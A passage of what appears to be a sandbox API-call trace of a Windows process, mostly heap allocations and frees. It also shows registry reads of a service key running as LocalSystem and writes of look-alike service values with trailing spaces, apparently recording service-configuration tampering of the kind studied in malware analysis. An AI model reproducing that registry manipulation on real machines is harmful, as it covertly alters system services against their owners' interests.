BaseAddress=0x21f44f0) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f44a8) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4460) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4418) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4388) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157010) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157020) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0224.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0224.867] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0224.867] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4808, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0224.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0224.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0224.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0224.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0224.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219de30) returned 1 [0224.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0224.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0224.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0224.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0224.868] RegQueryValueExA (in: hKey=0xc4, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0224.868] RegQueryValueExA (in: hKey=0xc4, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f42f8, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0224.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0224.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0224.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0224.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219ddd8) returned 1 [0224.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0224.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0224.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0224.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0224.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0224.870] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0224.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0224.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0224.870] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0224.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0224.870] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0224.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0224.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0224.870] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0224.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0224.870] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0224.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0224.871] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0224.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0224.871] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0224.871] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0224.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0224.871] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0224.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0224.871] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0224.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0224.871] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0224.871] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0224.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0224.871] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0224.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0224.871] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0224.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0224.872] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0224.872] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0224.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0224.872] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0224.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0224.872] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0224.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0224.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0224.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0224.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0224.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0224.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0224.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.873] RegQueryValueExA (in: hKey=0x150, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0224.873] RegQueryValueExA (in: hKey=0x150, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4190, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0224.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0224.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0224.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0224.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0224.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0224.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0224.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0224.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0224.874] RtlAllocateHeap (HeapHandle=0x2520000, 